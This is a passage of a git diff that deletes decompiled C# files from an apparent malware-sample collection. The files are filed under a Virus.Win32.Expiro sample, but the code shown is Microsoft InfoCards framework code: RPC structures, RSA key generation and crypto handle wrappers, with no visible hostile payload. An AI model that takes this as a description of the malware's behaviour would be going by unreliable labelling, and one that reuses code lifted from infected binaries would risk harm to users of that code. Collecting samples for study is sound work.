Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate int RpcProcessNewRequestCallback( - [In] int parentRequestHandle, - [In] IntPtr rpcHandle, - [In] IntPtr inArgs, - out IntPtr outArgs); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcRequest.cs deleted file mode 100644 index f381ea7b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcRequest.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct RpcRequest - { - [MarshalAs(UnmanagedType.LPWStr)] - public string Type; - public int Length; - public IntPtr Data; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcResponse.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcResponse.cs deleted file mode 100644 index 227081f8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcResponse.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcResponse -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal struct RpcResponse - { - public int Length; - public IntPtr Data; - - public IntPtr Marshal() => RpcResponse.Create(this.Data, this.Length); - - public static IntPtr Create(IntPtr data, int length) - { - RpcResponse structure = new RpcResponse(); - IntPtr num = System.Runtime.InteropServices.Marshal.AllocHGlobal(System.Runtime.InteropServices.Marshal.SizeOf(typeof (RpcResponse))); - try - { - structure.Length = length; - structure.Data = data; - System.Runtime.InteropServices.Marshal.StructureToPtr((object) structure, num, false); - return num; - } - catch - { - System.Runtime.InteropServices.Marshal.FreeHGlobal(num); - throw; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcRundownClientContextHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcRundownClientContextHandle.cs deleted file mode 100644 index 70139bf7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcRundownClientContextHandle.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcRundownClientContextHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcRundownClientContextHandle([In] IntPtr context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs deleted file mode 100644 index 87496e85..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcUIAgentBindToServiceCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcUIAgentBindToServiceCallback( - [In] IntPtr uiagentRpcHandle, - [In] IntPtr nativeDesktopName, - [In] int cbUserSid, - [In] IntPtr pUserSid, - [In] int cbTrustedSid, - [In] IntPtr pTrustedSid, - out IntPtr nativeStartEventHandle, - out IntPtr nativeCompleteEventHandle, - out RpcUIAgentGetWorkCallback callback); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs deleted file mode 100644 index 22edd315..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcUIAgentGetWorkCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal delegate void RpcUIAgentGetWorkCallback( - out InfoCardUIAgent.CallMode mode, - out int requestHandle); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RsaKeyGen.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RsaKeyGen.cs deleted file mode 100644 index 6d28b3d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RsaKeyGen.cs +++ /dev/null @@ -1,218 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RsaKeyGen -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class RsaKeyGen - { - private const int Xpq12Length = 14; - private const int XpqLength = 128; - private const int NumberOfSha1Hashes = 16; - private const int InfoCardKeyLength = 2048; - private const int HnLength = 20; - private const int PublicExponentValue = 65537; - private const string Aes128EncryptionKey = "f561e58b-3ebc-4e0c-940d-0a6ddc219dfd"; - private const int ByteForHundredthBit = 12; - private static int[] hashesToWriteP = new int[8] - { - 2, - 12, - 11, - 10, - 0, - 6, - 5, - 4 - }; - private static int[] numBytesToWriteP = new int[8] - { - 4, - 20, - 20, - 20, - 4, - 20, - 20, - 20 - }; - private static int[] srcIndexBytesToWriteP = new int[8] - { - 16, - 0, - 0, - 0, - 16, - 0, - 0, - 0 - }; - private static int[] hashesToWriteQ = new int[8] - { - 3, - 15, - 14, - 13, - 1, - 9, - 8, - 7 - }; - private static int[] numBytesToWriteQ = RsaKeyGen.numBytesToWriteP; - private static int[] srcIndexBytesToWriteQ = RsaKeyGen.srcIndexBytesToWriteP; - private static RijndaelManaged s_rjAes128 = new RijndaelManaged(); - - static RsaKeyGen() - { - RsaKeyGen.s_rjAes128.Mode = CipherMode.ECB; - RsaKeyGen.s_rjAes128.Padding = PaddingMode.Zeros; - RsaKeyGen.s_rjAes128.Key = new Guid("f561e58b-3ebc-4e0c-940d-0a6ddc219dfd").ToByteArray(); - } - - public static byte[] CreateRsaKeyPairX931(byte[] masterKey, byte[] targetId) - { - InfoCardTrace.Assert(true, "Only 2048 bit key sizes supported"); - byte[][] hn = RsaKeyGen.CalculateHn(masterKey, targetId); - byte[] rsaKeyPairX931 = (byte[]) null; - byte[] numArray1 = new byte[14]; - byte[] numArray2 = new byte[14]; - byte[] numArray3 = new byte[14]; - byte[] numArray4 = new byte[14]; - byte[] numArray5 = new byte[128]; - byte[] numArray6 = new byte[128]; - Array.Copy((Array) hn[0], 0, (Array) numArray1, 0, numArray1.Length); - Array.Copy((Array) hn[1], 0, (Array) numArray2, 0, numArray2.Length); - Array.Copy((Array) hn[2], 0, (Array) numArray3, 0, numArray3.Length); - Array.Copy((Array) hn[3], 0, (Array) numArray4, 0, numArray4.Length); - RsaKeyGen.WriteToArray(RsaKeyGen.hashesToWriteP, RsaKeyGen.numBytesToWriteP, RsaKeyGen.srcIndexBytesToWriteP, hn, numArray5); - RsaKeyGen.WriteToArray(RsaKeyGen.hashesToWriteQ, RsaKeyGen.numBytesToWriteQ, RsaKeyGen.srcIndexBytesToWriteQ, hn, numArray6); - try - { - KeyGenRestartCodes restartCode = KeyGenRestartCodes.X931RestartNone; - do - { - numArray5[(int) sbyte.MaxValue] |= (byte) 192; - numArray6[(int) sbyte.MaxValue] |= (byte) 192; - numArray1[12] |= (byte) 16; - numArray2[12] |= (byte) 16; - numArray3[12] |= (byte) 16; - numArray4[12] |= (byte) 16; - rsaKeyPairX931 = NativeMcppMethods.X931KeyGenWrapper(numArray1, numArray2, numArray3, numArray4, numArray5, numArray6, 65537, ref restartCode); - switch (restartCode) - { - case KeyGenRestartCodes.X931RestartNone: - InfoCardTrace.Assert(null != rsaKeyPairX931, "Cryptoblob should not be null since API succeeded"); - break; - case KeyGenRestartCodes.X931RestartDTooSmall: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - InfoCardTrace.Assert(false, "Not expected for d < 2^1024 with e = 65537"); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - case KeyGenRestartCodes.X931RestartNonTrivialGcd: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray1); - RsaKeyGen.InfoCardRegenerateParam(numArray2); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - break; - case KeyGenRestartCodes.X931RestartPQOverflow: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray5); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - case KeyGenRestartCodes.X931RestartPQ12OverFlow: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray1); - RsaKeyGen.InfoCardRegenerateParam(numArray2); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - break; - case KeyGenRestartCodes.X931RestartXpXqClose: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - } - } - while (restartCode != KeyGenRestartCodes.X931RestartNone); - InfoCardTrace.Assert(null != rsaKeyPairX931, "Cryptoblob should NOT be null outside while loop"); - } - finally - { - Array.Clear((Array) numArray1, 0, numArray1.Length); - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray4, 0, numArray4.Length); - Array.Clear((Array) numArray5, 0, numArray5.Length); - Array.Clear((Array) numArray6, 0, numArray6.Length); - } - return rsaKeyPairX931; - } - - private static void WriteToArray( - int[] hashesToWrite, - int[] numBytesToWrite, - int[] srcIndexBytesToWrite, - byte[][] sourceArrayOfHashes, - byte[] destArray) - { - InfoCardTrace.Assert(hashesToWrite.Length == numBytesToWrite.Length, "Size must be equal"); - InfoCardTrace.Assert(numBytesToWrite.Length == srcIndexBytesToWrite.Length, "Size must be equal"); - int destinationIndex = 0; - for (int index1 = 0; index1 < hashesToWrite.Length; ++index1) - { - int index2 = hashesToWrite[index1]; - Array.Copy((Array) sourceArrayOfHashes[index2], srcIndexBytesToWrite[index1], (Array) destArray, destinationIndex, numBytesToWrite[index1]); - destinationIndex += numBytesToWrite[index1]; - } - } - - private static byte[][] CalculateHn(byte[] masterKey, byte[] subjectEntropy) - { - byte[][] hn = new byte[16][]; - byte[] numArray = new byte[masterKey.Length + subjectEntropy.Length + 4]; - Array.Copy((Array) masterKey, 0, (Array) numArray, 0, masterKey.Length); - Array.Copy((Array) subjectEntropy, 0, (Array) numArray, masterKey.Length, subjectEntropy.Length); - for (uint index = 0; (long) index < (long) hn.Length; ++index) - { - InfoCardTrace.Assert(index <= (uint) byte.MaxValue, "n must fit in a byte."); - InfoCardTrace.Assert(numArray.Length - 1 == masterKey.Length + subjectEntropy.Length + 3, "Index location of n must be last element of array."); - numArray[numArray.Length - 1] = (byte) index; - hn[(IntPtr) index] = SHA1.Create().ComputeHash(numArray); - Array.Reverse((Array) hn[(IntPtr) index]); - } - Array.Clear((Array) numArray, 0, numArray.Length); - return hn; - } - - private static void InfoCardRegenerateParam(byte[] prevBytes) - { - byte[] sourceArray = RsaKeyGen.AESEncryptECB(prevBytes); - Array.Copy((Array) sourceArray, 0, (Array) prevBytes, 0, prevBytes.Length); - Array.Clear((Array) sourceArray, 0, sourceArray.Length); - } - - private static byte[] AESEncryptECB(byte[] plaintextbyte) - { - MemoryStream memoryStream = new MemoryStream(); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, RsaKeyGen.s_rjAes128.CreateEncryptor(), CryptoStreamMode.Write); - cryptoStream.Write(plaintextbyte, 0, plaintextbyte.Length); - cryptoStream.Close(); - byte[] array = memoryStream.ToArray(); - memoryStream.Close(); - return array; - } - - private RsaKeyGen() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeCryptoKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeCryptoKey.cs deleted file mode 100644 index 6ccae692..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeCryptoKey.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeCryptoKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SafeCryptoKey : IDisposable - { - private SafeCryptoKeyHandle m_handle; - - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptSetKeyParam( - [In] SafeCryptoKeyHandle hKey, - [In] uint dwParam, - [In] IntPtr data, - [In] uint flags); - - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptImportKey( - [In] SafeRsaProviderHandle hProv, - [In] IntPtr pbKeyData, - [In] uint dwDataLen, - [In] IntPtr hPubKey, - [In] uint dwFlags, - out SafeCryptoKeyHandle hKey); - - public SafeCryptoKeyHandle Handle => this.m_handle; - - public unsafe SafeCryptoKey(SafeRsaProviderHandle provider, byte[] encryptedKey, byte[] iv) - { - SafeCryptoKey.BlobHeader blobHeader = new SafeCryptoKey.BlobHeader(encryptedKey.Length); - int dwDataLen = sizeof (SafeCryptoKey.BlobHeader) + encryptedKey.Length; - // ISSUE: untyped stack allocation - byte* pbKeyData = (byte*) __untypedstackalloc(dwDataLen); - byte* numPtr = (byte*) &blobHeader; - for (int index = 0; index < 12; ++index) - pbKeyData[index] = numPtr[index]; - try - { - ProtectedMemory.Unprotect(encryptedKey, MemoryProtectionScope.SameProcess); - for (int index = 0; index < encryptedKey.Length; ++index) - pbKeyData[12 + index] = encryptedKey[index]; - } - finally - { - ProtectedMemory.Protect(encryptedKey, MemoryProtectionScope.SameProcess); - } - if (!SafeCryptoKey.CryptImportKey(provider, (IntPtr) (void*) pbKeyData, (uint) dwDataLen, IntPtr.Zero, 0U, out this.m_handle)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) this.m_handle); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - fixed (byte* data = &iv[0]) - { - if (!SafeCryptoKey.CryptSetKeyParam(this.m_handle, 1U, (IntPtr) (void*) data, 0U)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - this.m_handle.Dispose(); - throw InfoCardTrace.ThrowHelperError(e); - } - // ISSUE: __unpin statement - __unpin(data); - } - } - - void IDisposable.Dispose() => this.m_handle.Dispose(); - - [StructLayout(LayoutKind.Explicit, Size = 12)] - private struct BlobHeader - { - private const int PLAINTEXTKEYBLOB = 8; - private const int CUR_BLOB_VERSION = 2; - private const int CALG_AES = 26128; - [FieldOffset(0)] - public byte bType; - [FieldOffset(1)] - public byte bVersion; - [FieldOffset(2)] - public ushort reserved; - [FieldOffset(4)] - public uint aiKeyAlg; - [FieldOffset(8)] - public uint keyLength; - - public BlobHeader(int keySize) - { - this.bType = (byte) 8; - this.bVersion = (byte) 2; - this.reserved = (ushort) 0; - this.aiKeyAlg = 26128U; - this.keyLength = (uint) keySize; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeCryptoKeyHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeCryptoKeyHandle.cs deleted file mode 100644 index ae951401..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeCryptoKeyHandle.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeCryptoKeyHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal class SafeCryptoKeyHandle : SafeHandle - { - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptDestroyKey([In] IntPtr hKey); - - private SafeCryptoKeyHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - protected override bool ReleaseHandle() => SafeCryptoKeyHandle.CryptDestroyKey(this.handle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeJobHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeJobHandle.cs deleted file mode 100644 index 654cb216..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeJobHandle.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeJobHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal sealed class SafeJobHandle : SafeHandle - { - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SuppressUnmanagedCodeSecurity] - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool TerminateJobObject([In] IntPtr hJob, [In] uint uExitCode); - - public SafeJobHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - public void UpdateHandle(IntPtr handle) => this.SetHandle(handle); - - protected override bool ReleaseHandle() - { - SafeJobHandle.TerminateJobObject(this.handle, 0U); - return NativeMethods.SafeHandleOnlyMethods.CloseHandle(this.handle); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeNativeHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeNativeHandle.cs deleted file mode 100644 index 67cac7d0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeNativeHandle.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeNativeHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.Win32.SafeHandles; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class SafeNativeHandle : SafeHandleZeroOrMinusOneIsInvalid - { - private SafeNativeHandle() - : base(true) - { - } - - public SafeNativeHandle(IntPtr existingHandle, bool ownsHandle) - : base(ownsHandle) - { - this.SetHandle(existingHandle); - } - - protected override bool ReleaseHandle() => NativeMethods.SafeHandleOnlyMethods.CloseHandle(this.handle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeRsaProviderHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeRsaProviderHandle.cs deleted file mode 100644 index 10f90907..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SafeRsaProviderHandle.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeRsaProviderHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal class SafeRsaProviderHandle : SafeHandle - { - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", EntryPoint = "CryptAcquireContextW", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptAcquireContext( - out SafeRsaProviderHandle hProv, - [In] string pszContainer, - [In] string pszProvider, - [In] uint dwProvType, - [In] uint dwFlags); - - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptReleaseContext([In] IntPtr hProv, [In] uint dwFlags); - - public static SafeRsaProviderHandle Construct() - { - SafeRsaProviderHandle hProv; - if (!SafeRsaProviderHandle.CryptAcquireContext(out hProv, (string) null, (string) null, 24U, 4026531840U)) - { - Win32Exception e = new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) hProv); - InfoCardTrace.TraceAndLogException((Exception) e); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(e.Message)); - } - return hProv; - } - - private SafeRsaProviderHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - protected override bool ReleaseHandle() => SafeRsaProviderHandle.CryptReleaseContext(this.handle, 0U); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveCardRequest.cs deleted file mode 100644 index 64a700c1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveCardRequest.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveCardRequest : 